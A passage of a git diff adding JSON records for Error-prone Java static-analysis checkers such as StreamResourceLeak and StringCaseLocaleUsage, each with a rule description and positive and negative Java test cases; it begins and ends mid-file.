BUG: Diagnostic contains: [StaticAssignmentOfThrowable]\n foo = new NullPointerException(\"assign in method\");\n }\n }" + }, + { + "description": "staticWithThrowableDuringInitialization_error", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "class Test {\n // BUG: Diagnostic contains: [StaticAssignmentOfThrowable]\n static Throwable foo = new NullPointerException(\"message\");\n\n public Test(int foo) {}\n }" + }, + { + "description": "staticWithThrowableDuringInitializationFromMethod_error", + "expected-problems": null, + "expected-linenumbers": [ + 67 + ], + "code": "class Test {\n // BUG: Diagnostic contains: [StaticAssignmentOfThrowable]\n static Throwable foo = bar();\n\n public Test(int foo) {}\n\n private static Throwable bar() {\n return new NullPointerException(\"initialized with return value\");\n }\n }" + }, + { + "description": "dynamicWithThrowableDuringInitializationFromMethod_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "class Test {\n Throwable foo = bar();\n\n public Test(int foo) {}\n\n private static Throwable bar() {\n return new NullPointerException(\"initialized with return value\");\n }\n }" + }, + { + "description": "staticWithThrowableDuringConstructor_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 108 + ], + "code": "class Test {\n static Throwable foo;\n\n public Test(int bar) {\n foo = new NullPointerException(Integer.toString(bar));\n }\n }" + }, + { + "description": "staticWithNonThrowableFromMethod_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 127 + ], + "code": "class Test {\n static int foo;\n\n public Test(int foo) {}\n\n private void bar() {\n this.foo = 5;\n }\n }" + }, + { + "description": "staticWithNonThrowableFromDeclaration_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 146 + ], + "code": "class Test {\n private static final String RULE = \"allow this\";\n\n public Test(int foo) {}\n }" + }, + { + "description": "dynamic_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 161 + ], + "code": "class Test {\n Throwable foo;\n\n public Test(int foo) {\n this.foo = new RuntimeException(\"odd but not an error here\");\n }\n }" + }, + { + "description": "staticWithThrowableInLambdaInMethod_error", + "expected-problems": null, + "expected-linenumbers": [ + 178 + ], + "code": "class Test {\n static Throwable foo;\n\n public Test(int a) {}\n\n void foo(int a) {\n java.util.Arrays.asList().stream()\n .map(\n x -> {\n // BUG: Diagnostic contains: [StaticAssignmentOfThrowable]\n foo = new NullPointerException(\"assign\");\n return a;\n })\n .count();\n }\n }" + }, + { + "description": "staticWithThrowableInLambdaInLambdaInMethod_error", + "expected-problems": null, + "expected-linenumbers": [ + 205 + ], + "code": "class Test {\n static Throwable foo;\n\n public Test(int a) {}\n\n void bar(int a) {\n java.util.Arrays.asList().stream()\n .map(\n x -> {\n java.util.Arrays.asList().stream()\n .map(\n y -> {\n // BUG: Diagnostic contains: [StaticAssignmentOfThrowable]\n foo = new NullPointerException(\"inner assign\");\n return y;\n })\n .count();\n // BUG: Diagnostic contains: [StaticAssignmentOfThrowable]\n foo = new NullPointerException(\"outer assign\");\n return a;\n })\n .count();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticMockMember.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticMockMember.json new file mode 100644 index 0000000..a53025b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticMockMember.json @@ -0,0 +1,46 @@ +{ + "name": "StaticMockMember", + "language": "java", + "description": "@Mock members of test classes shouldn't share state between tests and preferably be non-static", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 37 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.mockito.Mock;\n\n @RunWith(JUnit4.class)\n public class Test {\n @Mock private static String mockedPrivateString;\n @Mock static String mockedString;\n }\n \n\n import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.mockito.Mock;\n\n @RunWith(JUnit4.class)\n public class Test {\n @Mock private String mockedPrivateString;\n @Mock String mockedString;\n }" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 69 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.mockito.Mock;\n\n @RunWith(JUnit4.class)\n public class Test {\n @Mock private String mockedPrivateString;\n @Mock String mockedString;\n }" + }, + { + "description": "memberSuppression", + "expected-problems": null, + "expected-linenumbers": [ + 88 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.mockito.Mock;\n\n @RunWith(JUnit4.class)\n public class Test {\n @SuppressWarnings(\"StaticMockMember\")\n @Mock\n private static String mockedPrivateString;\n }" + }, + { + "description": "flagIfRemovingStaticWontCompile", + "expected-problems": null, + "expected-linenumbers": [ + 108 + ], + "code": "import org.junit.runner.RunWith;\n import org.junit.runners.JUnit4;\n import org.mockito.Mock;\n\n @RunWith(JUnit4.class)\n public class Test {\n // BUG: Diagnostic contains: StaticMockMember\n @Mock private static String mockedPrivateString;\n\n static String someStaticMethod() {\n return mockedPrivateString;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticQualifiedUsingExpression.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticQualifiedUsingExpression.json new file mode 100644 index 0000000..de1e7de --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StaticQualifiedUsingExpression.json @@ -0,0 +1,78 @@ +{ + "name": "StaticQualifiedUsingExpression", + "language": "java", + "description": "A static variable or method should be qualified with a class name, not expression", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 104, + "branches": 17, + "apis": 2, + "test": [ + { + "description": "positiveCase1", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.math.BigDecimal;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n class MyClass {\n\n static int STATIC_FIELD = 42;\n\n static int staticMethod() {\n return 42;\n }\n\n int FIELD = 42;\n\n int method() {\n return 42;\n }\n\n static class StaticInnerClass {\n static final MyClass myClass = new MyClass();\n }\n }\n\n class MyStaticClass {\n static MyClass myClass = new MyClass();\n }\n\n public class StaticQualifiedUsingExpressionPositiveCase1 {\n\n public static int staticVar1 = 1;\n private StaticQualifiedUsingExpressionPositiveCase1 next;\n\n public static int staticTestMethod() {\n return 1;\n }\n\n public static Object staticTestMethod2() {\n return new Object();\n }\n\n public static Object staticTestMethod3(Object x) {\n return null;\n }\n\n public void test1() {\n StaticQualifiedUsingExpressionPositiveCase1 testObj =\n new StaticQualifiedUsingExpressionPositiveCase1();\n int i;\n\n // BUG: Diagnostic contains: variable staticVar1\n // i = staticVar1\n i = this.staticVar1;\n // BUG: Diagnostic contains: variable staticVar1\n // i = staticVar1\n i = testObj.staticVar1;\n // BUG: Diagnostic contains: variable staticVar1\n // i = staticVar1\n i = testObj.next.next.next.staticVar1;\n }\n\n public void test2() {\n int i;\n Integer integer = Integer.valueOf(1);\n // BUG: Diagnostic contains: variable MAX_VALUE\n // i = Integer.MAX_VALUE\n i = integer.MAX_VALUE;\n }\n\n public void test3() {\n String s1 = new String();\n // BUG: Diagnostic contains: method valueOf\n // String s2 = String.valueOf(10)\n String s2 = s1.valueOf(10);\n // BUG: Diagnostic contains: method valueOf\n // s2 = String.valueOf(10)\n s2 = new String().valueOf(10);\n // BUG: Diagnostic contains: method staticTestMethod\n // int i = staticTestMethod()\n int i = this.staticTestMethod();\n // BUG: Diagnostic contains: method staticTestMethod2\n // String s3 = staticTestMethod2().toString\n String s3 = this.staticTestMethod2().toString();\n // BUG: Diagnostic contains: method staticTestMethod\n // i = staticTestMethod()\n i = this.next.next.next.staticTestMethod();\n }\n\n public void test4() {\n BigDecimal decimal = new BigDecimal(1);\n // BUG: Diagnostic contains: method valueOf\n // BigDecimal decimal2 = BigDecimal.valueOf(1)\n BigDecimal decimal2 = decimal.valueOf(1);\n }\n\n public static MyClass hiding;\n\n public void test5(MyClass hiding) {\n // BUG: Diagnostic contains: method staticTestMethod3\n // Object o = staticTestMethod3(this.toString())\n Object o = this.staticTestMethod3(this.toString());\n // BUG: Diagnostic contains: variable myClass\n // x = MyClass.StaticInnerClass.myClass.FIELD;\n int x = new MyClass.StaticInnerClass().myClass.FIELD;\n // BUG: Diagnostic contains: variable STATIC_FIELD\n // x = MyClass.STATIC_FIELD;\n x = new MyClass.StaticInnerClass().myClass.STATIC_FIELD;\n // BUG: Diagnostic contains: variable hiding\n // StaticQualifiedUsingExpressionPositiveCase1.hiding = hiding;\n this.hiding = hiding;\n // BUG: Diagnostic contains: variable STATIC_FIELD\n // x = MyClass.STATIC_FIELD;\n x = MyStaticClass.myClass.STATIC_FIELD;\n // BUG: Diagnostic contains: method staticMethod\n // x = MyClass.staticMethod();\n x = MyStaticClass.myClass.staticMethod();\n\n x = MyStaticClass.myClass.FIELD;\n x = MyStaticClass.myClass.method();\n }\n\n static class Bar {\n static int baz = 0;\n\n static int baz() {\n return 42;\n }\n }\n\n static class Foo {\n static Bar bar;\n }\n\n static void test6() {\n Foo foo = new Foo();\n // BUG: Diagnostic contains: method baz\n // x = Bar.baz();\n int x = Foo.bar.baz();\n Bar bar = Foo.bar;\n // BUG: Diagnostic contains: variable bar\n // bar = Foo.bar;\n bar = foo.bar;\n // BUG: Diagnostic contains: variable baz\n // x = Bar.baz;\n x = Foo.bar.baz;\n }\n\n static class C {\n static int foo() {\n return 42;\n }\n }\n\n public void test7() {\n // BUG: Diagnostic contains: method foo\n // x = C.foo();\n int x = new C().foo();\n }\n }\\" + }, + { + "description": "positiveCase2", + "expected-problems": null, + "expected-linenumbers": [ + 207 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class StaticQualifiedUsingExpressionPositiveCase2 {\n\n private static class TestClass {\n public static int staticTestMethod() {\n return 1;\n }\n }\n\n public int test1() {\n // BUG: Diagnostic contains: method staticTestMethod\n // return TestClass.staticTestMethod()\n return new TestClass().staticTestMethod();\n }\n }\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 236 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author eaftan@google.com (Eddie Aftandilian)\n */\n public class StaticQualifiedUsingExpressionNegativeCases {\n\n public static int staticVar1 = 1;\n\n public static void staticTestMethod() {}\n\n public void test1() {\n Integer i = Integer.MAX_VALUE;\n i = Integer.valueOf(10);\n }\n\n public void test2() {\n int i = staticVar1;\n i = StaticQualifiedUsingExpressionNegativeCases.staticVar1;\n }\n\n public void test3() {\n test1();\n this.test1();\n new StaticQualifiedUsingExpressionNegativeCases().test1();\n staticTestMethod();\n }\n\n public void test4() {\n Class klass = String[].class;\n }\n\n @SuppressWarnings(\"static\")\n public void testJavacAltname() {\n this.staticTestMethod();\n }\n\n @SuppressWarnings(\"static-access\")\n public void testEclipseAltname() {\n this.staticTestMethod();\n }\n }\\" + }, + { + "description": "clash", + "expected-problems": null, + "expected-linenumbers": [ + 288 + ], + "code": "package a;\n\n public class Lib {\n public static final int CONST = 0;\n }\n \n\n package b;\n\n public class Lib {\n public static final int CONST = 0;\n }\n \n\n import a.Lib;\n\n class Test {\n void test() {\n int x = Lib.CONST + new b.Lib().CONST;\n }\n }\n \n\n import a.Lib;\n\n class Test {\n void test() {\n new b.Lib();\n int x = Lib.CONST + b.Lib.CONST;\n }\n }" + }, + { + "description": "expr", + "expected-problems": null, + "expected-linenumbers": [ + 337 + ], + "code": "interface I {\n int CONST = 42;\n\n I id();\n }\n \n\n class Test {\n void f(I i) {\n System.err.println(((I) null).CONST);\n System.err.println(i.id().CONST);\n }\n }\n \n\n class Test {\n void f(I i) {\n System.err.println(I.CONST);\n i.id();\n System.err.println(I.CONST);\n }\n }" + }, + { + "description": "superAccess", + "expected-problems": null, + "expected-linenumbers": [ + 374 + ], + "code": "interface I {\n interface Builder {\n default void f() {}\n }\n }\n \n\n interface J extends I {\n interface Builder extends I.Builder {\n default void f() {}\n\n default void aI() {\n I.Builder.super.f();\n }\n }\n }" + }, + { + "description": "enumConstantAccessedViaInstance", + "expected-problems": null, + "expected-linenumbers": [ + 404 + ], + "code": "enum Enum {\n A,\n B;\n }\n \n\n class Test {\n Enum foo(Enum e) {\n return e.B;\n }\n }\n \n\n class Test {\n Enum foo(Enum e) {\n return Enum.B;\n }\n }" + }, + { + "description": "qualified", + "expected-problems": null, + "expected-linenumbers": [ + 437 + ], + "code": "class C {\n static Object x;\n\n void f() {\n Object x = this.x;\n }\n\n void g() {\n Object y = this.x;\n }\n }\n \n\n class C {\n static Object x;\n\n void f() {\n Object x = C.x;\n }\n\n void g() {\n Object y = x;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StreamResourceLeak.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StreamResourceLeak.json new file mode 100644 index 0000000..4d851c7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StreamResourceLeak.json @@ -0,0 +1,102 @@ +{ + "name": "StreamResourceLeak", + "language": "java", + "description": "Streams that encapsulate a closeable resource should be closed using try-with-resources", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 142, + "branches": 17, + "apis": 1, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "import java.io.IOException;\n import java.nio.file.Files;\n import java.nio.file.Path;\n import java.util.stream.Collectors;\n import java.util.stream.Stream;\n\n class Test {\n String f(Path p) throws IOException {\n try (Stream stream = Files.lines(p).filter(l -> !l.isEmpty())) {\n stream.collect(Collectors.joining(\", \"));\n }\n try (Stream stream = Files.lines(p)) {\n return stream.collect(Collectors.joining(\", \"));\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "import java.io.IOException;\n import java.nio.file.Files;\n import java.nio.file.Path;\n import java.util.stream.Collectors;\n import java.util.stream.Stream;\n\n class Test {\n String f(Path p) throws IOException {\n try (Stream stream = Files.lines(p).filter(l -> !l.isEmpty())) {\n stream.collect(Collectors.joining(\", \"));\n }\n try (Stream stream = Files.lines(p)) {\n return stream.collect(Collectors.joining(\", \"));\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "import java.io.IOException;\n import java.nio.file.Files;\n import java.nio.file.Path;\n import java.util.stream.Collectors;\n import java.util.stream.Stream;\n\n class Test {\n String f(Path p) throws IOException {\n try (Stream stream = Files.lines(p).filter(l -> !l.isEmpty())) {\n stream.collect(Collectors.joining(\", \"));\n }\n try (Stream stream = Files.lines(p)) {\n return stream.collect(Collectors.joining(\", \"));\n }\n }\n }" + }, + { + "description": "fix", + "expected-problems": null, + "expected-linenumbers": [ + 96 + ], + "code": "import java.io.IOException;\n import java.nio.file.Files;\n import java.nio.file.Path;\n import java.util.stream.Collectors;\n\n class Test {\n String f(Path p) throws IOException {\n return Files.lines(p).collect(Collectors.joining(\", \"));\n }\n }\n \n\n import java.io.IOException;\n import java.nio.file.Files;\n import java.nio.file.Path;\n import java.util.stream.Collectors;\n import java.util.stream.Stream;\n\n class Test {\n String f(Path p) throws IOException {\n try (Stream stream = Files.lines(p)) {\n return stream.collect(Collectors.joining(\", \"));\n }\n }\n }" + }, + { + "description": "fixVariable", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "import java.io.IOException;\n import java.nio.file.Files;\n import java.nio.file.Path;\n import java.util.stream.Collectors;\n\n class Test {\n void f(Path p) throws IOException {\n String s = Files.lines(p).collect(Collectors.joining(\", \"));\n }\n }\n \n\n import java.io.IOException;\n import java.nio.file.Files;\n import java.nio.file.Path;\n import java.util.stream.Collectors;\n import java.util.stream.Stream;\n\n class Test {\n void f(Path p) throws IOException {\n String s;\n try (Stream stream = Files.lines(p)) {\n s = stream.collect(Collectors.joining(\", \"));\n }\n }\n }" + }, + { + "description": "ternary", + "expected-problems": null, + "expected-linenumbers": [ + 171 + ], + "code": "import java.io.IOException;\n import java.nio.file.Files;\n import java.nio.file.Path;\n import java.util.stream.Collectors;\n import java.util.stream.Stream;\n\n class Test {\n String f(Path p) throws IOException {\n String r;\n // BUG: Diagnostic contains:\n try (Stream stream = Files.lines(p).count() > 0 ? null : null) {\n r = stream.collect(Collectors.joining(\", \"));\n }\n try (Stream stream = true ? null : Files.lines(p)) {\n r = stream.collect(Collectors.joining(\", \"));\n }\n try (Stream stream = true ? Files.lines(p) : null) {\n r = stream.collect(Collectors.joining(\", \"));\n }\n return r;\n }\n }" + }, + { + "description": "returnFromMustBeClosedMethod", + "expected-problems": null, + "expected-linenumbers": [ + 203 + ], + "code": "import com.google.errorprone.annotations.MustBeClosed;\n import java.io.IOException;\n import java.nio.file.Files;\n import java.nio.file.Path;\n import java.util.stream.Stream;\n\n class Test {\n @MustBeClosed\n Stream f(Path p) throws IOException {\n return Files.lines(p);\n }\n }" + }, + { + "description": "returnFromMustBeClosedMethodWithChaining", + "expected-problems": null, + "expected-linenumbers": [ + 225 + ], + "code": "import com.google.errorprone.annotations.MustBeClosed;\n import java.io.IOException;\n import java.nio.file.Files;\n import java.nio.file.Path;\n import java.util.stream.Stream;\n\n class Test {\n @MustBeClosed\n Stream f(Path p) throws IOException {\n return Files.list(p).map(Path::toString); // OK due to @MustBeClosed\n }\n\n Stream g(Path p) throws IOException {\n // BUG: Diagnostic contains: should be closed\n return Files.list(p).map(Path::toString);\n }\n }" + }, + { + "description": "moreRefactorings", + "expected-problems": null, + "expected-linenumbers": [ + 252 + ], + "code": "import java.io.IOException;\n import java.nio.file.DirectoryStream;\n import java.nio.file.Files;\n import java.nio.file.Path;\n\n class Test {\n void f(Path p) throws IOException {\n DirectoryStream l = Files.newDirectoryStream(p);\n for (Path x : Files.newDirectoryStream(p)) {\n System.err.println(x);\n }\n System.err.println(l);\n System.err.println(Files.newDirectoryStream(p));\n }\n }\n \n\n import java.io.IOException;\n import java.nio.file.DirectoryStream;\n import java.nio.file.Files;\n import java.nio.file.Path;\n\n class Test {\n void f(Path p) throws IOException {\n try (DirectoryStream l = Files.newDirectoryStream(p)) {\n try (DirectoryStream stream = Files.newDirectoryStream(p)) {\n for (Path x : stream) {\n System.err.println(x);\n }\n }\n System.err.println(l);\n }\n try (DirectoryStream stream = Files.newDirectoryStream(p)) {\n System.err.println(stream);\n }\n }\n }" + }, + { + "description": "defaultMethod", + "expected-problems": null, + "expected-linenumbers": [ + 301 + ], + "code": "import java.io.IOException;\n import java.nio.file.Files;\n import java.nio.file.Path;\n import java.nio.file.DirectoryStream;\n\n interface I {\n default DirectoryStream f(Path path) throws IOException {\n // BUG: Diagnostic contains: should be closed\n return Files.newDirectoryStream(path);\n }\n }" + }, + { + "description": "record", + "expected-problems": null, + "expected-linenumbers": [ + 322 + ], + "code": "package example;\n\n import java.io.IOException;\n import java.nio.file.Files;\n import java.nio.file.Path;\n import java.util.stream.Stream;\n\n record ExampleRecord(Path path) {\n public Stream list() throws IOException {\n // BUG: Diagnostic contains: should be closed\n return Files.list(path);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StreamToIterable.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StreamToIterable.json new file mode 100644 index 0000000..c67a6cb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StreamToIterable.json @@ -0,0 +1,46 @@ +{ + "name": "StreamToIterable", + "language": "java", + "description": "Using stream::iterator creates a one-shot Iterable, which may cause surprising failures.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 97, + "branches": 8, + "apis": 2, + "test": [ + { + "description": "lambdaWithinEnhancedForLoop_recreatedEachTime_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.stream.Stream;\n\n class Test {\n void test() {\n for (int i : (Iterable) () -> Stream.of(1, 2, 3).iterator()) {}\n }\n }" + }, + { + "description": "withinEnhancedForLoop_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "" + }, + { + "description": "methodReferenceRefactoredToExplicitCollection", + "expected-problems": null, + "expected-linenumbers": [ + 63 + ], + "code": "import static com.google.common.collect.ImmutableList.toImmutableList;\n import java.util.List;\n import java.util.stream.Stream;\n\n class Test {\n void test(List i) {\n addAll(Stream.of(1, 2, 3)::iterator);\n }\n\n void addAll(Iterable ints) {}\n }\n \n\n import static com.google.common.collect.ImmutableList.toImmutableList;\n import java.util.List;\n import java.util.stream.Stream;\n\n class Test {\n void test(List i) {\n addAll(Stream.of(1, 2, 3).collect(toImmutableList()));\n }\n\n void addAll(Iterable ints) {}\n }" + }, + { + "description": "lambdaRefactoredToExplicitCollection", + "expected-problems": null, + "expected-linenumbers": [ + 99 + ], + "code": "import java.util.List;\n import java.util.stream.Stream;\n\n class Test {\n void test(List i) {\n Stream stream = Stream.of(1, 2, 3);\n addAll(() -> stream.iterator());\n }\n\n void addAll(Iterable ints) {}\n }\n \n\n import static com.google.common.collect.ImmutableList.toImmutableList;\n import java.util.List;\n import java.util.stream.Stream;\n\n class Test {\n void test(List i) {\n Stream stream = Stream.of(1, 2, 3);\n addAll(stream.collect(toImmutableList()));\n }\n\n void addAll(Iterable ints) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StreamToString.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StreamToString.json new file mode 100644 index 0000000..bf810e3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StreamToString.json @@ -0,0 +1,46 @@ +{ + "name": "StreamToString", + "language": "java", + "description": "Calling toString on a Stream does not provide useful information", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 50, + "branches": 2, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.Arrays;\n\n class Test {\n public static void main(String[] args) {\n // BUG: Diagnostic contains:\n System.err.println(Arrays.asList(42).stream());\n // BUG: Diagnostic contains:\n Arrays.asList(42).stream().toString();\n // BUG: Diagnostic contains:\n String.valueOf(Arrays.asList(42).stream());\n // BUG: Diagnostic contains:\n String s = \"\" + Arrays.asList(42).stream();\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 55 + ], + "code": "import java.util.Arrays;\nimport java.util.stream.Collectors;\n\nclass Test {\n public static void main(String[] args) {\n System.err.println(\n Arrays.asList(42).stream().map(String::valueOf).collect(Collectors.joining(\", \")));\n String.valueOf(\n Arrays.asList(42).stream().map(String::valueOf).collect(Collectors.joining(\", \")));\n String s =\n \"\" + Arrays.asList(42).stream().map(String::valueOf).collect(Collectors.joining(\", \"));\n String.format(\"%s %s\", null, null);\n }\n}" + }, + { + "description": "withinStreamClass", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "public abstract class Test implements java.util.stream.Stream {\n public String s() {\n return toString();\n }\n }" + }, + { + "description": "viaJoiner", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "import com.google.common.base.Joiner;\n import java.util.stream.Stream;\n\n class Test {\n public void s(Stream xs) {\n // BUG: Diagnostic contains:\n var x = Joiner.on(\"foo\").join(xs, xs);\n // BUG: Diagnostic contains:\n var y = Joiner.on(\"foo\").join(null, null, new Stream[] {xs});\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringBuilderInitWithChar.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringBuilderInitWithChar.json new file mode 100644 index 0000000..2fce47f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringBuilderInitWithChar.json @@ -0,0 +1,30 @@ +{ + "name": "StringBuilderInitWithChar", + "language": "java", + "description": "StringBuilder does not have a char constructor; this invokes the int constructor.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 5, + "apis": 2, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author lowasser@google.com (Louis Wasserman)\n */\n public class StringBuilderInitWithCharPositiveCases {\n {\n // BUG: Diagnostic contains: new StringBuilder(\"a\")\n new StringBuilder('a');\n // BUG: Diagnostic contains: new StringBuilder(\"\\\\\"\")\n new StringBuilder('\"');\n char c = 'c';\n // BUG: Diagnostic contains: new StringBuilder().append(c)\n new StringBuilder(c);\n }\n }\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author lowasser@google.com (Louis Wasserman)\n */\n public class StringBuilderInitWithCharNegativeCases {\n {\n new StringBuilder(\"a\");\n new StringBuilder(5);\n new StringBuilder();\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringCaseLocaleUsage.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringCaseLocaleUsage.json new file mode 100644 index 0000000..8ce435f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringCaseLocaleUsage.json @@ -0,0 +1,46 @@ +{ + "name": "StringCaseLocaleUsage", + "language": "java", + "description": "Specify a `Locale` when calling `String#to{Lower,Upper}Case`. (Note: there are multiple suggested fixes; the third may be most appropriate if you're dealing with ASCII Strings.)", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 100, + "branches": 7, + "apis": 1, + "test": [ + { + "description": "identification", + "expected-problems": null, + "expected-linenumbers": [ + 35 + ], + "code": "import static java.util.Locale.ROOT;\n\n import java.util.Locale;\n\n class A {\n void m() {\n \"a\".toLowerCase(Locale.ROOT);\n \"a\".toUpperCase(Locale.ROOT);\n \"b\".toLowerCase(ROOT);\n \"b\".toUpperCase(ROOT);\n \"c\".toLowerCase(Locale.getDefault());\n \"c\".toUpperCase(Locale.getDefault());\n \"d\".toLowerCase(Locale.ENGLISH);\n \"d\".toUpperCase(Locale.ENGLISH);\n \"e\".toLowerCase(new Locale(\"foo\"));\n \"e\".toUpperCase(new Locale(\"foo\"));\n\n // BUG: Diagnostic contains:\n \"f\".toLowerCase();\n // BUG: Diagnostic contains:\n \"g\".toUpperCase();\n\n String h = \"h\";\n // BUG: Diagnostic contains:\n h.toLowerCase();\n String i = \"i\";\n // BUG: Diagnostic contains:\n i.toUpperCase();\n }\n }" + }, + { + "description": "replacementFirstSuggestedFix", + "expected-problems": null, + "expected-linenumbers": [ + 75 + ], + "code": "class A {\n void m() {\n \"a\".toLowerCase(/* Comment with parens: (). */ );\n \"b\".toUpperCase();\n \"c\".toLowerCase().toString();\n\n toString().toLowerCase();\n toString().toUpperCase /* Comment with parens: (). */();\n\n this.toString().toLowerCase() /* Comment with parens: (). */;\n this.toString().toUpperCase();\n }\n }\n \n\n import java.util.Locale;\n\n class A {\n void m() {\n \"a\".toLowerCase(/* Comment with parens: (). */ Locale.ROOT);\n \"b\".toUpperCase(Locale.ROOT);\n \"c\".toLowerCase(Locale.ROOT).toString();\n\n toString().toLowerCase(Locale.ROOT);\n toString().toUpperCase /* Comment with parens: (). */(Locale.ROOT);\n\n this.toString().toLowerCase(Locale.ROOT) /* Comment with parens: (). */;\n this.toString().toUpperCase(Locale.ROOT);\n }\n }" + }, + { + "description": "replacementSecondSuggestedFix", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "class A {\n void m() {\n \"a\".toLowerCase();\n \"b\".toUpperCase(/* Comment with parens: (). */ );\n \"c\".toLowerCase().toString();\n\n toString().toLowerCase();\n toString().toUpperCase /* Comment with parens: (). */();\n\n this.toString().toLowerCase() /* Comment with parens: (). */;\n this.toString().toUpperCase();\n }\n }\n \n\n import java.util.Locale;\n\n class A {\n void m() {\n \"a\".toLowerCase(Locale.getDefault());\n \"b\".toUpperCase(/* Comment with parens: (). */ Locale.getDefault());\n \"c\".toLowerCase(Locale.getDefault()).toString();\n\n toString().toLowerCase(Locale.getDefault());\n toString().toUpperCase /* Comment with parens: (). */(Locale.getDefault());\n\n this.toString().toLowerCase(Locale.getDefault()) /* Comment with parens: (). */;\n this.toString().toUpperCase(Locale.getDefault());\n }\n }" + }, + { + "description": "replacementThirdSuggestedFix", + "expected-problems": null, + "expected-linenumbers": [ + 160 + ], + "code": "class A {\n void m() {\n \"a\".toLowerCase();\n \"c\".toLowerCase().toString();\n }\n }\n \n\n import com.google.common.base.Ascii;\n\n class A {\n void m() {\n Ascii.toLowerCase(\"a\");\n Ascii.toLowerCase(\"c\").toString();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringCharset.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringCharset.json new file mode 100644 index 0000000..8b4b72c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StringCharset.json @@ -0,0 +1,30 @@ +{ + "name": "StringCharset", + "language": "java", + "description": "StringCharset", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 100, + "branches": 8, + "apis": 1, + "test": [ + { + "description": "invalid", + 